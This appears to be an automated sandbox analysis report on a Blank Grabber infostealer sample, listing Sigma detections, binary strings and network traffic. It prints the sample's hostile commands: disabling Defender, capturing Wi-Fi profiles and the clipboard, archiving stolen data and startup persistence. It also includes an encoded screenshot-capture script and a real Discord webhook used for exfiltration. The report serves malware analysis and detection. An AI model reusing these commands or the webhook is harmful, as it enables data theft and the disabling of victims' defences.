AgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\program.exe", ParentImage: C:\Users\user\Desktop\program.exe, ParentProcessId: 7324, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 8136, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\program.exe, ProcessId: 7324, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\program.exe, ProcessId: 7324, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\program.exe, ProcessId: 7324, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8260, TargetFilename: C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7864, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *, ProcessId: 8568, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 7512, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\program.exe", ParentImage: C:\Users\user\Desktop\program.exe, ParentProcessId: 7324, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 1832, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: program.exe.7324.1.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM"}

Multi AV Scanner detection for submitted file

Source: program.exe	ReversingLabs: Detection: 44%
Source: program.exe	Virustotal: Detection: 46%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE6901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

83_2_00007FF64FE6901C

Source: program.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: \t5.pdbj source: powershell.exe, 0000002A.00000002.1989050806.000001E9C9F48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: program.exe, 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: program.exe, 00000001.00000002.2117447704.00007FFDFB36A000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: program.exe, 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: program.exe, 00000000.00000003.1704155388.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2123042345.00007FFE1A464000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: program.exe, 00000001.00000002.2117447704.00007FFDFB2D2000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: program.exe, 00000000.00000003.1704155388.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2123042345.00007FFE1A464000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: program.exe, program.exe, 00000001.00000002.2117447704.00007FFDFB36A000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.pdbhPE source: powershell.exe, 0000002A.00000002.1908908412.000001E9B2165000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000053.00000000.2004144713.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.pdb source: powershell.exe, 0000002A.00000002.1908908412.000001E9B2165000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: program.exe, 00000001.00000002.2122070037.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: program.exe, 00000001.00000002.2121630063.00007FFE11EC1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: program.exe, 00000001.00000002.2121042650.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: program.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: program.exe, 00000001.00000002.2120841650.00007FFE1151B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: program.exe, 00000001.00000002.2121890288.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: program.exe, 00000001.00000002.2120841650.00007FFE1151B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: program.exe, 00000001.00000002.2122536379.00007FFE13301000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: program.exe, 00000001.00000002.2122251570.00007FFE13201000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: program.exe, program.exe, 00000001.00000002.2120647097.00007FFE0EB41000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: program.exe, 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: program.exe, program.exe, 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: program.exe, program.exe, 00000001.00000002.2120375422.00007FFE0E15E000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6B75083C0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7509280 FindFirstFileExW,FindClose,	0_2_00007FF6B7509280
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7521874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7509280 FindFirstFileExW,FindClose,	1_2_00007FF6B7509280
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7521874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6B75083C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE746EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	83_2_00007FF64FE746EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB88E0 FindFirstFileExA,	83_2_00007FF64FEB88E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE6E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	83_2_00007FF64FE6E21C

Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\	Jump to behavior

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 766741User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=759108746665450e003c83e6b292e39f

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 17 Nov 2024 10:22:43 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731838964x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kw%2FMCC3nxYl1Sb3abNC0WpO%2FFrUHsOgYiaVPTDATc2ZXBunk234OqISsKrlIBESZZz3Fw35sEraQjNMdFhDGCmXh9SjSXz4cgxjnZha1bFkdj228QxWzxWkoww2m"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=7f3eb00f74a25652e1281dc04aa6cdbfe83e4455-1731838963; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=ffpl7Z_XRbw2jJzUSb94O3lzwZOtlB08ocIN8D03Ggs-1731838963322-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e3f004c2e334678-DFW

Source: program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 